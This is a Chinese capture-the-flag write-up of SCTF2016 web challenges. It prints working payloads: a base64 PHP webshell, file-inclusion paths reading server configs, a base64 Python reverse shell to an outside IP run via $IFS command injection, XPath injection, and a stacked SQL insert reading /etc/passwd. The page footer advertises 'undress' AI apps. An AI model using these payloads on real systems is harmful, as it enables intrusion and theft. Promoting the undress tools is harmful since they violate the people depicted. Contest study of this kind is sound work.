SCTF2016 痛苦的滲透之路
0x00 前言
這次的CTF玩的很酸爽,一共7個 WEB滲透 類的題目,這也是痛苦的開始。好好的審計,為何加那麼多高門檻。
0x01 Pentest-homework-200
http://homework.sctf.xctf.org.cn/
打開完整,就是登陸頁面,進入註冊。名字,年齡,上傳圖片。
順利登陸之後是顯示一張圖片。還有一個homework的鏈接。
點擊homework鏈接之後是一個包好頁面的網址。
http://homework.sctf.xctf.org.cn/homework.php?homework=homework.txt
可以判定這是一個文件包含漏洞的腦洞。馬上試試上傳木馬圖片來包含。
必然的繼而,包含不成功。
讀取源碼來瞅瞅上傳功能出了什麼問題。
http://homework.sctf.xctf.org.cn/homework.php?homework=php://filter/convert.base64-encode/resource=index.php
果斷成功讀取。然後把該讀取的源碼全都download下來。
通過審計代碼
if(isset($_POST['upload'])){$filename = $_FILES['uploaded']['name'];$filetype = $_FILES['uploaded']['type'];$filesize = $_FILES['uploaded']['size'];$tmpname = $_FILES['uploaded']['tmp_name'];$uploaddir = './upload/';$target_path = $uploaddir.basename($filename);$fileext = substr(strrchr($filename,"."),1);if(($fileext == 'gif')&&($filetype == "image/gif")){ { if(move_uploaded_file($tmpname,$target_path)) { } } $im =imagecreatefromgif($target_path); srand(time()); $newfilename = strval(rand()).".gif"; $newimagepath = $uploaddir.$newfilename; imagegif($im,$newimagepath); unlink($target_path);}else if(($fileext == 'jpg')&&($filetype == "image/jpeg")){...
果然有點意思,上傳的圖片都經過 imagecreatefromgif等函數處理過了。
但是這不是重點,重點是前面的 move_uploaded_file($tmpname,$target_path)
熟悉php代碼的應該都知道,只是已經成功上傳圖片了的。
成功上傳之後再進行處理並刪除源文件 unlink($target_path);。
所以,這個題目是時間競爭,拼網速,拼人品。
上傳寫shell腳本的圖片馬
fputs(fopen(base64_decode(dmlyLnBocA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUWyd2aXJpbmsnXSk7Pz4tLS0t));
brup 多線程訪問
http://homework.sctf.xctf.org.cn/homework.php?homework=upload/virink.jpg
註冊上傳。。如果人品好,很快就成功了。
後來,發現,寫的shell莫名其妙就沒了,目測有人攪屎,然後我就寫到/tmp去了。2333333
webshell成功上傳了,但是發現,很多功能都被閹割掉了。
ddisable_functions= passthru,exec,phpinfo,system,chroot,scandir,chgrp,chown,shell_exec,proc_open,proc_get_status,popen,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server,pcntl_exec
然後就是利用 PHP绕过open_basedir列目录黑科技列目錄。
virink=printf('<b>open_basedir : %s </b><br />', ini_get('open_basedir'));$file_list = array();$it = new DirectoryIterator("glob:////home/wwwroot/default/web/*");foreach($it as $f) { $file_list[] = $f->__toString();}$it = new DirectoryIterator("glob:///.*");foreach($it as $f) { $file_list[] = $f->__toString();}sort($file_list);foreach($file_list as $f){echo "{$f}<br/>";}
然後就是讀取flag
virink=echo file_get_contents('/home/wwwroot/default/web/4ff692fb12aa996e27f0a108bfc386c2');
SCTF{g00d_Good_Stu6y}
0x02 Pentest-sycshell-200
http://58.213.63.27:61180
右鍵查看源碼
<!-- 内部系统资料:http://sycshell.sycsec.com:61180/ -->
改Hosts,然後用域名訪問。
再開源碼,解密jsfuck編碼,得到
/W0Ca1N1CaiBuDa0/read.php?f=index
代碼審計,繞過後包含。
源碼:
<?php show_source(__FILE__); $pass = @$_GET['pass']; $a = "syclover"; strlen($pass) > 15 ? die("Don't Hack me!") : ""; if(!is_numeric($pass) || preg_match('/0(x)?|-|\+|\s|^(\.|\d).*$/i',$pass)){ die('error'); } if($pass == 1 && $a[$pass] === "s"){ $file = isset($_GET['f']) ? $_GET['f'].'.php' : 'index.php'; @include $file; }?>
這裏有一個大腦洞!!!!有版本限制的。
根據提示:sycshell_tip 审计那部分好好看php的底层代码,另外方便大家一下58.213.63.27:61180/phpinfo.php
首先可以得到php 5.3.29版本。
版本漏洞, %0b(\v)可以繞過正則的 \s
/?pass=%0b.1e1
php底層源碼
while (*str == ' ' || *str == '\t' || *str == '\n' || *str == '\r' || *str == '\v' || *str == '\f') { str++; length--;}
這個題目的另一個大脑洞就是 phpinfo()+Lfi
然後就是爆破吧、、2333
$pass繞過這個腦洞與phithon牛的一道題目類似的
https://www.leavesongs.com/PENETRATION/some-sangebaimao-ctf-writeups.html?lan=tw&lan=tw&lan=tw
题三: PHP类型与逻辑+fuzz与源代码审计的*0x03 函数特性导致绕过*部分。
0x03 Pentest-DrugMarket1-300
Drug Market: http://www.spentest.com/
一開始就是一個腦洞,偽404 Not Found頁面。我曾經吃過這方面的虧,然後就默默地看源碼,點開隱藏的鏈接了。
http://drug.spentest.com/
點order可以提交數據,然後沒別的什麼功能了。可能存在xss。
我繼續看源碼,有發現一個鏈接。
http://msgboard.spentest.com/
打開頁面直接跳轉到
http://msgboard.spentest.com/index.php?action=login.php
很明顯的一個文件包含漏洞。到處看了下,沒有上傳的地方。
再來研究頁面功能,客戶登陸,隨便填寫用戶名和聯繫方式之後發現存在session。並且用戶名和聯繫方式並沒有過濾。
初步判斷是包含session。習慣性包含/tmp/sess_xxxxxxxxxx,發現並不存在。絕逼改地方了。
然後就是要尋找session的存放地址。首先就得讀取apache的配置文件。
http://msgboard.spentest.com/index.php?action=../../../../../../../../etc/httpd/conf/httpd.conf
得到
<VirtualHost 0.0.0.0:80> ServerAdmin Syclover DocumentRoot /var/www/html <Directory "/var/www/html"> AssignUserId apache apache php_value session.save_path "/var/lib/php/session"</VirtualHost><VirtualHost 0.0.0.0:80> ServerAdmin Syclover ServerName www.spentest.com DocumentRoot /var/www/webhosts/www <Directory "/var/www/webhosts/www"> AssignUserId www www php_value session.save_path "/var/lib/php/session_www"</VirtualHost><VirtualHost 0.0.0.0:80> ServerAdmin Syclover ServerName drug.spentest.com DocumentRoot /var/www/webhosts/drug <Directory "/var/www/webhosts/drug"> AssignUserId drug drug php_value session.save_path "/var/lib/php/session_drug"</VirtualHost><VirtualHost 0.0.0.0:80> ServerAdmin Syclover ServerName msgboard.spentest.com DocumentRoot /var/www/webhosts/msgboard <Directory "/var/www/webhosts/msgboard"> AssignUserId msgboard msgboard php_value session.save_path "/var/lib/php/session_msgboard"</VirtualHost>
順利知道session的存放地址為 /var/lib/php/session_msgboard
Username 或者 Contact 寫入
http://msgboard.spentest.com/index.php?action=../../../../../../../../var/lib/php/session_msgboard/sess_rb2rbfrie8rku2n81dq52vghp0
然後就是進一步收集信息
virink=phpinfo()
得到
disable_functions=passthru,exec,system,chroot,scandir,chgrp,chown,shell_exec,proc_open,proc_get_status,popen,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server
其他站點都沒有訪問權限,默默地閱讀本站點的源碼。得到數據庫連接信息。
因為這個題目已經被FB了,默默地去收集前輩們的信息。/tmp目錄是我的最愛。。。23333
看了一大堆沒用的東西,同時也得到了一些有用的東西,比如mysql的root密碼。。23333
當時腦抽了,沒有好好保存,在/tmp被莫名其妙地清空後找不到mysql的數據庫相關信息了。
思路中斷,始終不知道如何執行命令。
反復研究提示
- 这是渗透题哟,所以请不要囿于你当前的Shell之中,想办法渗透到DRUG站点
- 为了让题目更加接近真实环境,所以防火墙规则较为严格
最後又回到XSS上面了。因為看過drug的數據庫,並沒有管理員用戶表。
orderX來X去沒效果,然後在小夥伴提示的情況下,X進adminconfig裏面,成功獲取cookie!
進入管理員頁面,發現存在一個下載圖片的功能。自己服務器監聽一個端口,服務器訪問自己的服務器,無果。
還是在小夥伴的提示下,監聽80端口。。才發現提示2是這個腦洞。
然後就收到了一個wget請求。
目測存在命令執行漏洞。
黑科技 : $IFS 代替 空格
上傳一個反彈的py腳本
virink=fputs(fopen('/tmp/vvv.py',w),base64_decode(aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zDQpzPXNvY2tldC5zb2NrZXQoc29ja2V0LkFGX0lORVQsc29ja2V0LlNPQ0tfU1RSRUFNKQ0Kcy5jb25uZWN0KCgiNDUuNzguMTMuMjMiLDgwKSkNCm9zLmR1cDIocy5maWxlbm8oKSwwKQ0Kb3MuZHVwMihzLmZpbGVubygpLDEpDQpvcy5kdXAyKHMuZmlsZW5vKCksMikNCnA9c3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9iYXNoIiwiLWkiXSk7DQo));
然後執行命令
http://vvv/flag.jpg;python$IFS/tmp/vvv.py
成功得到一個bash的shell。
最後在/home/drug找到flag1.txt
SCTF{b68181af58bdf261714942f0d1a823be}
0x04 Pentest-ETO-200
http://eto.sctf.xctf.org.cn/
這個是第一個放出來的題目,卻是最後才折騰出來。
簡單試一下,存在注入。
然後、各種注入都沒有成功。
官方給的提示奇葩:
ETO相关 不用再尝试爆破了哈,另外hint一直都在
從頭到尾都沒有發現hint在哪裡。
結束後才發現,注入報錯的時候,在響應頭裏面返回了一個 hint://user[id=1]
出題人這個腦洞絕逼要給101分,滿分100,多一分是深深的父愛。
在小夥伴的提示下,才知道這是一個xpath注入。
引號被過濾了,但官方的提示2說好好利用已存在的字符。
說明,密碼中的字符在username、email和role中存在的。用substring()函數逐个字符判斷就ok了
http://eto.sctf.xctf.org.cn/?action=user&id=1 and substring(//user[1]/username,1,1)=substring(//user[1]/password,1,1)
用你的神器Burp再次爆破一波吧。
最后跑出32位的密码 : Ywj@4791.d_gToWDmceu.Eali0s2yarn
登陆后就可以得到Flag了
SCTF{0f61ce4eb984a4a6d3aaa31f779533df}
0x05 Pentest-Hackme-300-未成功
http://hackme.sctf.xctf.org.cn
坨坨的不会做,还是注入。注入一向是我的弱项。Orz......
根据官方的提示
1.网站开发人员经常会去看备忘录
2.想办法拿到管理员密码
3.注意观察数据库连接方式
4.XSS
以及小伙伴的提示:PDO注入。
百度得到:PDO方式的数据库连接,可以insert注入。
折腾一番到也弄出个样子。
http://hackme.sctf.xctf.org.cn/index.php?id=0;/*!50000insert*//*!50000into*/beiwanglu(id,time,event)/*!50000values*/(9,'virink',/*!50000select*/(/*!50000hex*/(/*!50000load_file*/(0x2F6574632F706173737764))));%23
成功X到了管理员的COOKIE。。。
再根据提示 想办法拿到管理员密码可以大概知道下一步可能是劫持表单,获取管理员的密码。
然而,我就不会了。
XSS比SQL注入更渣~~Orz.....
0x06 写在最后
最终以0x01-0x04+签到10分的总分 910分结束本次CTF。
脑洞还是不够大,经验太少。而且还犯傻。很多关键的地方和非关键地方都陷入了思维误区,没有小伙伴提示的话,我估计也就能拿个10分的签到分了。

PHP用於構建動態網站,其核心功能包括:1.生成動態內容,通過與數據庫對接實時生成網頁;2.處理用戶交互和表單提交,驗證輸入並響應操作;3.管理會話和用戶認證,提供個性化體驗;4.優化性能和遵循最佳實踐,提升網站效率和安全性。

PHP在數據庫操作和服務器端邏輯處理中使用MySQLi和PDO擴展進行數據庫交互,並通過會話管理等功能處理服務器端邏輯。 1)使用MySQLi或PDO連接數據庫,執行SQL查詢。 2)通過會話管理等功能處理HTTP請求和用戶狀態。 3)使用事務確保數據庫操作的原子性。 4)防止SQL注入,使用異常處理和關閉連接來調試。 5)通過索引和緩存優化性能,編寫可讀性高的代碼並進行錯誤處理。

在PHP中使用預處理語句和PDO可以有效防範SQL注入攻擊。 1)使用PDO連接數據庫並設置錯誤模式。 2)通過prepare方法創建預處理語句,使用佔位符和execute方法傳遞數據。 3)處理查詢結果並確保代碼的安全性和性能。

PHP和Python各有優劣,選擇取決於項目需求和個人偏好。 1.PHP適合快速開發和維護大型Web應用。 2.Python在數據科學和機器學習領域佔據主導地位。

PHP在電子商務、內容管理系統和API開發中廣泛應用。 1)電子商務:用於購物車功能和支付處理。 2)內容管理系統:用於動態內容生成和用戶管理。 3)API開發:用於RESTfulAPI開發和API安全性。通過性能優化和最佳實踐,PHP應用的效率和可維護性得以提升。

PHP可以輕鬆創建互動網頁內容。 1)通過嵌入HTML動態生成內容,根據用戶輸入或數據庫數據實時展示。 2)處理表單提交並生成動態輸出,確保使用htmlspecialchars防XSS。 3)結合MySQL創建用戶註冊系統,使用password_hash和預處理語句增強安全性。掌握這些技巧將提升Web開發效率。

PHP和Python各有優勢,選擇依據項目需求。 1.PHP適合web開發,尤其快速開發和維護網站。 2.Python適用於數據科學、機器學習和人工智能,語法簡潔,適合初學者。

PHP仍然具有活力,其在現代編程領域中依然佔據重要地位。 1)PHP的簡單易學和強大社區支持使其在Web開發中廣泛應用;2)其靈活性和穩定性使其在處理Web表單、數據庫操作和文件處理等方面表現出色;3)PHP不斷進化和優化,適用於初學者和經驗豐富的開發者。


熱AI工具

Undresser.AI Undress
人工智慧驅動的應用程序,用於創建逼真的裸體照片

AI Clothes Remover
用於從照片中去除衣服的線上人工智慧工具。

Undress AI Tool
免費脫衣圖片

Clothoff.io
AI脫衣器

AI Hentai Generator
免費產生 AI 無盡。

熱門文章

熱工具

SublimeText3 Linux新版
SublimeText3 Linux最新版

SAP NetWeaver Server Adapter for Eclipse
將Eclipse與SAP NetWeaver應用伺服器整合。

VSCode Windows 64位元 下載
微軟推出的免費、功能強大的一款IDE編輯器

Dreamweaver Mac版
視覺化網頁開發工具

Atom編輯器mac版下載
最受歡迎的的開源編輯器